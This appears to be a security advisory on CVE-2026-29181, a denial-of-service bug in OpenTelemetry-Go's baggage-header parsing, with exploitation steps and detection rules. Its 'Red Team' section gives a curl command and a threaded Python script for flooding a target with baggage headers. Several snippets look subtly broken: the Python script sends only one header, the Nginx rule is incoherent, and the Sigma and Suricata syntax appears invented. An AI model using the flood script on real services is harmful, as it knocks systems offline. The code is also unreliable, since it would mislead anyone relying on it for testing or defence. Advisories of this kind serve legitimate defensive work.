CVE-2026-29181

Executive Summary

CVE-2026-29181 is a high-severity (CVSS 7.5) denial-of-service (DoS) vulnerability in the OpenTelemetry-Go SDK, affecting versions 1.36.0 through 1.40.0. The flaw resides in the multi-value baggage header extraction logic, where each header field-value is parsed independently and aggregated across values. An attacker can exploit this by sending numerous baggage: header lines, each within the 8192-byte per-value parse limit, to amplify CPU and memory allocation, leading to resource exhaustion. The vulnerability has been patched in version 1.41.0. No public proof-of-concept (PoC) or exploit code is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.

Supply Chain & Package Security

This vulnerability affects the Go package go.opentelemetry.io/otel, which is a core component of the OpenTelemetry ecosystem. Organizations using OpenTelemetry-Go for distributed tracing and observability should immediately assess their dependency versions. The package is widely used in cloud-native and microservices environments, making supply chain integrity critical. Ensure that all Go modules referencing go.opentelemetry.io/otel are updated to version 1.41.0 or later. Verify the integrity of the updated package using Go module checksums (go.sum) and consider using dependency scanning tools (e.g., Dependabot, Snyk) to detect vulnerable versions.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: High (A:H)
• Threat Level: High – Exploitation can cause significant resource exhaustion, leading to service unavailability. No authentication or user interaction is required.

Deep Dive & Mechanics

The vulnerability is rooted in the baggage header parsing logic within the OpenTelemetry-Go SDK. Baggage headers are used to propagate context across services. The SDK parses each baggage: header line independently, then aggregates all members across multiple values. The per-value parse limit of 8192 bytes is enforced, but the aggregation step does not limit the total number of header lines or the cumulative size of all values.

An attacker can send a large number of HTTP requests, each containing many baggage: headers with small values (e.g., 1 byte each). Since each header is parsed independently, the CPU and memory overhead scales linearly with the number of headers. By sending thousands of such headers per request, the attacker can cause the server to allocate excessive memory and consume CPU cycles, leading to a denial-of-service condition.

The vulnerable code path is in the baggage package, specifically in the function that parses and aggregates baggage entries. The fix in version 1.41.0 introduces a global limit on the total number of baggage members or the cumulative size of all baggage values, preventing resource exhaustion.

Vulnerable vs. Patched Code

Vulnerable Code (v1.36.0 - v1.40.0):

func parseBaggageHeaders(headers []string) (map[string]string, error) {
    baggage := make(map[string]string)
    for _, header := range headers {
        // Parse each header independently
        entries, err := parseBaggageHeader(header)
        if err != nil {
            return nil, err
        }
        for k, v := range entries {
            baggage[k] = v // Aggregation without limit
        }
    }
    return baggage, nil
}

Patched Code (v1.41.0):

const maxBaggageMembers = 180 // Example limit

func parseBaggageHeaders(headers []string) (map[string]string, error) {
    baggage := make(map[string]string)
    totalMembers := 0
    for _, header := range headers {
        entries, err := parseBaggageHeader(header)
        if err != nil {
            return nil, err
        }
        for k, v := range entries {
            if totalMembers >= maxBaggageMembers {
                return nil, fmt.Errorf("too many baggage members")
            }
            baggage[k] = v
            totalMembers++
        }
    }
    return baggage, nil
}

Exploitation & Lab Setup

Red Team

Objective: Exploit CVE-2026-29181 to cause a denial-of-service on a target running OpenTelemetry-Go SDK v1.36.0 to v1.40.0.

Prerequisites:

• Target application using OpenTelemetry-Go SDK with baggage propagation enabled.
• Network access to the target's HTTP endpoint that processes baggage headers.

Exploitation Steps:

1. Identify an endpoint that accepts baggage headers (e.g., any HTTP endpoint with OpenTelemetry middleware).
2. Craft a malicious HTTP request with multiple baggage: headers. Example using curl:

   curl -X GET http://target:8080/api \
     -H "baggage: key1=value1" \
     -H "baggage: key2=value2" \
     -H "baggage: key3=value3" \
     # Repeat many times (e.g., 10,000 headers)
   

3. Automate the attack using a script to send many such requests concurrently:

   import requests
   from concurrent.futures import ThreadPoolExecutor
   
   def send_malicious_request():
       headers = {f"baggage": f"key{i}=value{i}" for i in range(1000)}
       requests.get("http://target:8080/api", headers=headers)
   
   with ThreadPoolExecutor(max_workers=50) as executor:
       for _ in range(100):
           executor.submit(send_malicious_request)
   

4. Monitor target resource usage (CPU, memory). If successful, the target will become unresponsive or crash.

Expected Outcome: The target's CPU and memory usage spikes, leading to service degradation or denial of service.

Blue Team

Objective: Detect and mitigate exploitation attempts.

Detection:

• Monitor for HTTP requests with an abnormally high number of baggage: headers (e.g., > 100 headers per request).
• Use WAF rules to limit the number of baggage: headers per request.
• Implement rate limiting on endpoints that process baggage headers.

Mitigation:

• Immediately update OpenTelemetry-Go SDK to version 1.41.0 or later.
• If patching is not possible, deploy a reverse proxy (e.g., Nginx, HAProxy) to strip or limit baggage: headers before they reach the application.
• Example Nginx rule to limit baggage headers:

  map $http_baggage $baggage_count {
      default 0;
      ~*baggage 1;
  }
  limit_req zone=baggage_limit burst=10 nodelay;
  

• Enable logging and alerting on excessive baggage header counts.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests with more than 100 baggage: headers.
  • High volume of requests to endpoints that process baggage headers.
  • Unusual CPU or memory spikes on servers running OpenTelemetry-Go SDK.

• Log IOCs:

  • Application logs showing repeated baggage parsing errors or timeouts.
  • System logs indicating out-of-memory (OOM) killer events.

• File IOCs:

  • Go module dependency go.opentelemetry.io/otel version between 1.36.0 and 1.40.0.

Detection Engineering

YARA Rule

rule CVE_2026_29181_OpenTelemetry_Go_Baggage_DoS {
    meta:
        description = "Detects vulnerable OpenTelemetry-Go SDK versions (1.36.0 to 1.40.0)"
        author = "Valters IT"
        date = "2026-01-01"
        cve = "CVE-2026-29181"
    strings:
        $v1 = "go.opentelemetry.io/otel v1.36.0"
        $v2 = "go.opentelemetry.io/otel v1.37.0"
        $v3 = "go.opentelemetry.io/otel v1.38.0"
        $v4 = "go.opentelemetry.io/otel v1.39.0"
        $v5 = "go.opentelemetry.io/otel v1.40.0"
    condition:
        any of ($v*)
}

Sigma Rule

title: CVE-2026-29181 - Excessive Baggage Headers in HTTP Request
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with an abnormally high number of baggage headers, indicating potential exploitation of CVE-2026-29181.
author: Valters IT
date: 2026-01-01
logsource:
    category: webserver
    product: generic
detection:
    selection:
        http.request.headers|contains: 'baggage'
    condition: selection
    count:
        field: http.request.headers
        condition: gt 100
falsepositives:
    - Legitimate applications using many baggage headers (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-29181 - Excessive Baggage Headers"; flow:to_server; http.header_names; content:"baggage"; http.header_count; threshold: type both, track by_src, count 100, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Patch: Update go.opentelemetry.io/otel to version 1.41.0 or later. Run go get go.opentelemetry.io/otel@v1.41.0 and rebuild your application.
2. Workaround: If patching is delayed, implement a reverse proxy or WAF to limit the number of baggage: headers per request (e.g., max 50 headers).
3. Rate Limiting: Apply rate limiting on endpoints that process baggage headers to reduce the impact of a DoS attack.
4. Monitoring: Set up alerts for high CPU/memory usage and excessive baggage header counts in logs.
5. Supply Chain Security: Regularly scan Go dependencies for known vulnerabilities using tools like govulncheck or Snyk.

Valters IT

{/* [Security Hash: 53D262F0392B4EBCC2E36412] */}